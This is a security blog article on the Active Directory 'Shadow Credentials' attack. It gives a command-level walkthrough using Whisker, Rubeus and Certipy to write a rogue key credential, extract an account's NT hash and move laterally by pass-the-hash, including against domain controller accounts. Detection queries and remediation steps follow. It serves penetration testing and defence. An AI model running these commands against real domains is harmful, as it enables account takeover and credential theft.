You have GenericWrite over a privileged service account. No password in any dump, no Kerberoastable hash, no certificate template in scope. Most pentesters move on. The Shadow Credentials technique turns that single DACL entry into full account takeover — without ever touching the account’s password.
TL;DR
- Shadow Credentials abuse write access to the
msDS-KeyCredentialLinkattribute on an AD account- An attacker adds a rogue key credential (certificate) to that attribute, tied to a keypair they control
- Authentication via PKINIT (Kerberos pre-auth with certificates) then yields a TGT and the account’s NT hash
- No password modification, no AS-REP, no SPN required — the attack is largely invisible to password-based monitoring
- Detection requires auditing
msDS-KeyCredentialLinkchanges via Event ID 5136 and Microsoft Defender for Identity
Why Shadow Credentials Matter
Most Active Directory privilege escalation paths require something: a crackable hash, a misconfigured template, a service running as a high-privilege account. Shadow Credentials are different — the only prerequisite is write access to a single attribute on the target account object.
That write access comes from one of the most common findings in enterprise AD environments: overly permissive ACLs (Access Control Lists) applied to privileged accounts. Helpdesk staff who need to reset a specific user’s password end up with GenericAll. A service account gets delegated GenericWrite on an OU containing domain admins. These are not exotic configurations — they exist in most organizations that have been running Active Directory for more than five years.
The technique was publicly documented by Elad Shamir in 2021 in the post “Certificates and Pwnage and Patches”. Since then it has become a standard item in red team playbooks, and tools like Whisker and Certipy have made execution trivial.
How Shadow Credentials Work
msDS-KeyCredentialLink
msDS-KeyCredentialLink is an Active Directory attribute that stores Key Credential objects — binary structures that bind a public key to a user or computer account. This attribute was introduced to support Windows Hello for Business (WHfB), Microsoft’s passwordless authentication framework.
When a user enrolls in WHfB, a key pair is generated on their device. The public key gets written into msDS-KeyCredentialLink on their AD account. From that point on, the device can authenticate using the private key via Kerberos — no password required.
The Key Credential object stored in the attribute contains:
- A raw public key (RSA or ECC)
- A Device ID (GUID)
- A creation timestamp
- Additional metadata
PKINIT Authentication
PKINIT (Public Key Cryptography for Initial Authentication) is a Kerberos extension defined in RFC 4556 that allows certificate-based pre-authentication. Instead of encrypting the timestamp with the account’s password hash (standard Kerberos pre-auth), PKINIT signs the authenticator with a private key. The KDC (Key Distribution Center — the Domain Controller) validates the signature against the public key stored in msDS-KeyCredentialLink.
On successful PKINIT authentication the KDC returns:
- A TGT (Ticket-Granting Ticket) for the target account
- A PAC (Privilege Attribute Certificate) encrypted with a session key
- The NT hash of the account, embedded in the PAC and retrievable via the
UnPAC-the-hashtechnique
That NT hash is the prize. It can be used for Pass-the-Hash, to request service tickets, or to authenticate to SMB/WinRM/LDAP.
Why DACL Abuse Enables This
AD accounts control who can write to their own attributes. The msDS-KeyCredentialLink attribute is writable by the account itself and, crucially, by anyone who has been granted GenericWrite, GenericAll, WriteProperty, or explicit write access to that attribute on the account object.
The attack flow is:
- Attacker identifies an account where they have write access
- Attacker generates a key pair locally
- Attacker writes a new Key Credential (containing their public key) into
msDS-KeyCredentialLinkon the target account - Attacker uses PKINIT to authenticate as the target, proving ownership of the private key
- KDC validates the public key from
msDS-KeyCredentialLinkand issues a TGT - Attacker extracts the NT hash from the PAC
The target account’s actual password is never touched or needed at any point.
Prerequisites
For this attack to work, the attacker needs:
- Write access to
msDS-KeyCredentialLinkon the target account — viaGenericWrite,GenericAll, or explicit attribute-level write. This is the only hard requirement. - Network access to a Domain Controller — specifically LDAP (port 389/636) to write the attribute, and Kerberos (port 88) to authenticate.
- The domain must support PKINIT — this requires at least one Domain Controller with a DC certificate issued from a CA trusted by the domain. In practice, if ADCS is deployed (common) or Azure AD hybrid join is configured (very common), PKINIT is available.
- The target account must support PKINIT — this means the target cannot have
userAccountControlflags that prevent certificate authentication. Standard user and computer accounts are fine.
Shadow Credentials do not work against accounts in environments that have never deployed any PKI infrastructure and have no DC certificates, though this is rare in enterprise environments.
Attack Walkthrough
Step 1: Enumerate Write Access to msDS-KeyCredentialLink
Before running any exploit, find which accounts you can actually target. BloodHound is the fastest path.
BloodHound Cypher query — find all principals with write access over another principal’s msDS-KeyCredentialLink:
// Find all nodes where the attacker-controlled user has GenericWrite or AllExtendedRightsMATCH p=(n)-[:GenericWrite|GenericAll|WriteOwner|WriteDacl]->(m:User)WHERE n.name = "COMPROMISED_USER@DOMAIN.LOCAL"RETURN p
// Broader: find all users with GenericWrite over any User object (useful for lateral movement mapping)MATCH p=(n:User)-[:GenericWrite]->(m:User)RETURN p LIMIT 50
// Find GenericWrite paths to computer accounts (useful for LAPS bypass or machine account takeover)MATCH p=(n:User)-[:GenericWrite]->(m:Computer)RETURN p LIMIT 50You can also enumerate directly with PowerView or ldapsearch:
# PowerView — find ACEs granting write on a specific userGet-DomainObjectAcl -Identity "targetuser" -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteProperty" } | Select-Object SecurityIdentifier, ActiveDirectoryRights, ObjectAceType# ldapsearch — enumerate ACL on the target objectldapsearch -H ldap://dc01.domain.local -x -D "attacker@domain.local" \ -w 'Password123' -b "CN=targetuser,CN=Users,DC=domain,DC=local" \ nTSecurityDescriptorStep 2: Add Shadow Credential with Whisker (Windows)
Whisker is a C# tool by Elad Shamir that automates Shadow Credentials. It generates a key pair, creates the Key Credential object, and writes it to msDS-KeyCredentialLink via LDAP.
:: List existing key credentials on the target (non-destructive reconnaissance)Whisker.exe list /target:targetuser /domain:domain.local /dc:dc01.domain.local
:: Add a new shadow credential:: This generates a self-signed cert and adds the public key to msDS-KeyCredentialLinkWhisker.exe add /target:targetuser /domain:domain.local /dc:dc01.domain.local
:: Output will include a Rubeus command to request a TGT using the generated cert::: Rubeus.exe asktgt /user:targetuser /certificate:<base64> /password:<cert_password> /domain:domain.local /dc:dc01.domain.local /getcredentials /showRun the Rubeus command from the Whisker output to obtain the TGT and extract the NT hash:
Rubeus.exe asktgt /user:targetuser /certificate:MIIJuAIBAzCC... /password:ShadowKey123! \ /domain:domain.local /dc:dc01.domain.local /getcredentials /show
:: /getcredentials triggers UnPAC-the-hash — outputs the NT hash directly:: [*] Getting credentials using U2U:: CredentialInfo::: Version: 0:: EncryptionType: rc4_hmac:: Credential::: Hash: NTLM: aad3b435b51404eeaad3b435b51404ee:8f49412c6a8f8e3e9f1b2a3c4d5e6f70Step 3: Add Shadow Credential with Certipy (Linux / Python)
Certipy (by ly4k) integrates Shadow Credentials directly. The shadow auto command handles everything end-to-end: enumerate, add credential, authenticate, extract hash, and clean up.
# Full auto — add shadow credential, get TGT, extract NT hash, then remove the credentialcertipy shadow auto \ -u attacker@domain.local \ -p 'Password123' \ -account targetuser \ -dc-ip 192.168.1.10
# Output:# [*] Targeting user 'targetuser'# [*] Generating certificate# [*] Certificate generated# [*] Generating Key Credential# [*] Key Credential generated with DeviceID 'a1b2c3d4-...'# [*] Adding Key Credentials to 'targetuser'# [*] Key Credentials added to 'targetuser'# [*] Authenticating as 'targetuser' with the certificate# [*] Requesting TGT# [*] Got TGT for targetuser@domain.local# [*] Authenticating with TGT# [*] Got hash for 'targetuser@domain.local': aad3b435b51404eeaad3b435b51404ee:8f49412c6a8f8e3e9f1b2a3c4d5e6f70# [*] Saved credential cache to 'targetuser.ccache'# [*] Cleaning up...# [*] Removing Key Credentials from 'targetuser'Manual steps if you want more control:
# Step 1: Add shadow credential only (no auto cleanup)certipy shadow add \ -u attacker@domain.local \ -p 'Password123' \ -account targetuser \ -dc-ip 192.168.1.10# Saves: targetuser.pfx
# Step 2: Authenticate and get TGT + NT hashcertipy auth \ -pfx targetuser.pfx \ -username targetuser \ -domain domain.local \ -dc-ip 192.168.1.10# Outputs TGT (.ccache) and NT hash
# Step 3: Use the NT hash for lateral movementevil-winrm -i 192.168.1.20 -u targetuser -H 8f49412c6a8f8e3e9f1b2a3c4d5e6f70
# Or Pass-the-Hash with impacketpython3 /opt/impacket/examples/wmiexec.py \ -hashes aad3b435b51404eeaad3b435b51404ee:8f49412c6a8f8e3e9f1b2a3c4d5e6f70 \ domain.local/targetuser@192.168.1.20
# Step 4: Remove the shadow credential when done (cleanup)certipy shadow remove \ -u attacker@domain.local \ -p 'Password123' \ -account targetuser \ -device-id a1b2c3d4-e5f6-7890-abcd-ef1234567890 \ -dc-ip 192.168.1.10Targeting Computer Accounts
Shadow Credentials work equally well against computer accounts. When targeting a machine account, PKINIT authentication returns the machine’s NT hash, which can be used for:
- S4U2Self / Resource-Based Constrained Delegation (RBCD) abuse to impersonate any user to that machine
- Silver ticket creation against services hosted on that machine
- DCSync if you elevate to a DC’s machine account
# Targeting a computer account (note the trailing $ is required)certipy shadow auto \ -u attacker@domain.local \ -p 'Password123' \ -account 'DC01$' \ -dc-ip 192.168.1.10BloodHound Queries for Target Discovery
Use these queries to map the full attack surface during an engagement before writing any credentials:
-- All users with GenericWrite over Users (potential Shadow Credentials targets)MATCH p=(n)-[:GenericWrite]->(m:User)WHERE NOT n.name = m.nameRETURN n.name AS attacker, m.name AS target, m.enabled AS enabledORDER BY m.admincount DESC
-- All users with GenericWrite over ComputersMATCH p=(n:User)-[:GenericWrite]->(m:Computer)RETURN n.name AS attacker, m.name AS target
-- High-value targets: users with GenericWrite over accounts that have admin rightsMATCH (n)-[:GenericWrite]->(m:User)-[:MemberOf*1..]->(g:Group)WHERE g.objectid ENDS WITH "-512" -- Domain AdminsRETURN n.name AS attacker, m.name AS target, g.name AS admin_group
-- Find paths from owned principals to targets via GenericWriteMATCH p=shortestPath( (n:User {owned: true})-[:GenericWrite|GenericAll*1..3]->(m:User))WHERE NOT n = mRETURN pDetection
Shadow Credentials are stealthy compared to techniques that touch passwords or SPNs, but they do leave forensic traces if you know where to look.
Event ID 5136 — Directory Service Object Modified
When msDS-KeyCredentialLink is written, Windows generates a Security Event ID 5136 (DS Object Modified) on the Domain Controller that processed the LDAP write. This event fires for every attribute change on AD objects.
The key fields to monitor:
| Field | Value to look for |
|---|---|
| Event ID | 5136 |
| Attribute Name | msDS-KeyCredentialLink |
| Operation Type | Value Added (1) |
| Subject Account Name | Who performed the write (attacker) |
| Object DN | Which account was modified (target) |
This event only fires if Directory Service Changes auditing is enabled. Verify with:
# Check if DS Changes auditing is enabledauditpol /get /subcategory:"Directory Service Changes"# Should show: Success and Failure
# Enable if not setauditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enableMicrosoft Defender for Identity (MDI)
MDI (formerly Azure ATP) has a built-in alert: “Suspicious modification of the msDS-KeyCredentialLink attribute”. It fires when msDS-KeyCredentialLink is modified on an account that is not enrolled in Windows Hello for Business — which covers virtually all attack scenarios.
The alert includes:
- Source account (attacker)
- Target account
- Timestamp
- Source IP and workstation
MDI is one of the most reliable detections for this technique because it understands the expected behavior baseline for WHfB enrollment versus unexpected attribute writes.
KQL Query for Microsoft Sentinel
If you ingest Windows Security Events into Sentinel, this query detects msDS-KeyCredentialLink modifications:
// Shadow Credentials — detect msDS-KeyCredentialLink writes// Requires: Security Event collection from DCs with DS Changes auditing enabledSecurityEvent| where EventID == 5136| where TimeGenerated > ago(7d)| extend AttributeName = tostring(parse_xml(EventData).DataItem.Data[12]["#text"])| extend OperationType = tostring(parse_xml(EventData).DataItem.Data[14]["#text"])| extend SubjectAccount = tostring(parse_xml(EventData).DataItem.Data[3]["#text"])| extend ObjectDN = tostring(parse_xml(EventData).DataItem.Data[8]["#text"])| where AttributeName has "msDS-KeyCredentialLink"| where OperationType == "%%14674" // Value Added| project TimeGenerated, SubjectAccount, ObjectDN, AttributeName, Computer| sort by TimeGenerated descA cleaner alternative using the structured AuditEvent schema if you have Defender for Identity integrated with Sentinel:
// MDI alert — Suspicious msDS-KeyCredentialLink modificationSecurityAlert| where ProviderName == "Azure Advanced Threat Protection"| where AlertName has "msDS-KeyCredentialLink"| project TimeGenerated, AlertName, Entities, RemediationSteps| sort by TimeGenerated descAdditional Detection Signals
- PKINIT from unexpected sources: Monitor for Kerberos TGT requests using certificate pre-authentication (Kerberos
PA-PK-AS-REQ— Event ID 4768 with Pre-Auth Type 17 or 18) from accounts that are not enrolled in WHfB or smart card programs. - Unusual LDAP writes: If you have LDAP traffic logging (e.g., via a proxy or network sensor), writes to
msDS-KeyCredentialLinkfrom workstations rather than Domain Controllers or enrollment services are a strong indicator. - UnPAC-the-hash: The NT hash extraction step generates a U2U (User-to-User) Kerberos request (Event ID 4769 with service name matching the user account itself). This is unusual and worth alerting on.
Remediation
Audit and Remove Excessive DACL Permissions
The root cause is always excessive ACL permissions. Run regular ACL audits:
# Find all principals with GenericWrite over User objects in the domainGet-DomainObjectAcl -LDAPFilter "(objectCategory=user)" -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteProperty" -and $_.AceType -eq "AccessAllowed" -and $_.SecurityIdentifier -notmatch "^S-1-5-18|^S-1-5-32-544|^S-1-5-32-548|^S-1-5-32-550" } | Select-Object ObjectDN, SecurityIdentifier, ActiveDirectoryRights | Export-Csv dacl-audit.csv -NoTypeInformation
# Review output — remove permissions that are not intentionally delegatedFor each unexpected entry found, remove it using:
# Remove a specific ACE — requires Domain Admin or delegated permission$acl = Get-Acl "AD:CN=targetuser,CN=Users,DC=domain,DC=local"$ace = $acl.Access | Where-Object { $_.IdentityReference -eq "DOMAIN\helpdesk-user" }$acl.RemoveAccessRule($ace)Set-Acl "AD:CN=targetuser,CN=Users,DC=domain,DC=local" $aclProtect Tier 0 Accounts
Apply AdminSDHolder to ensure Domain Admin and other Tier 0 accounts have their ACLs automatically reset by the SDProp process (runs every 60 minutes):
# Accounts in Protected Groups (Domain Admins, Schema Admins, etc.) are automatically# protected by AdminSDHolder — verify the AdminCount attribute is set:Get-ADUser targetuser -Properties AdminCount | Select-Object Name, AdminCount# AdminCount = 1 means SDProp manages this account's ACL
# For accounts NOT in protected groups but requiring protection,# consider adding them to a custom Privileged Access Group with restricted ACLsEnable Auditing
Ensure DS Changes auditing is enabled on all Domain Controllers via Group Policy:
Computer Configuration → Policies → Windows Settings → Security Settings→ Advanced Audit Policy Configuration → DS Access→ Audit Directory Service Changes: Success, FailureDeploy Microsoft Defender for Identity
If MDI is not deployed, prioritize it for the msDS-KeyCredentialLink detection alone. It provides out-of-the-box detection without requiring custom KQL queries or manual event correlation. The Sensor is installed directly on Domain Controllers and processes events locally before forwarding to the cloud portal.
Related Posts
If you found this article useful, these cover related Active Directory attack paths:
- ADCS Abuse with Certipy: ESC1 through ESC8 Attack Chains — certificate-based authentication abuse, directly related to the PKINIT trust model exploited here
- AD Attack Chains: Initial Access to Domain Admin — full kill chain context showing where Shadow Credentials fits in a real engagement
- Kerberoasting Deep Dive — another DACL-adjacent technique using SPN abuse for credential extraction
- LSASS Dumping Techniques — alternative credential extraction paths when Shadow Credentials targets don’t have PKINIT available
Sources
- Elad Shamir — “Certificates and Pwnage and Patches” (2021): https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
- Whisker (C# tool by Elad Shamir / SpecterOps): https://github.com/eladshamir/Whisker
- Certipy (Python tool by ly4k): https://github.com/ly4k/Certipy
- Microsoft MSDN — msDS-KeyCredentialLink attribute: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/de61dc08-5a23-46a0-a91c-a9a4a52e74c2
- RFC 4556 — PKINIT: https://www.rfc-editor.org/rfc/rfc4556
- Microsoft Defender for Identity — Shadow Credentials alert: https://learn.microsoft.com/en-us/defender-for-identity/credential-access-alerts#suspected-shadow-credentials-added-to-an-account
- BloodHound / SharpHound (SpecterOps): https://github.com/SpecterOps/BloodHound
- Will Schroeder & Lee Christensen — “An Ace Up the Sleeve” (ACL abuse research): https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf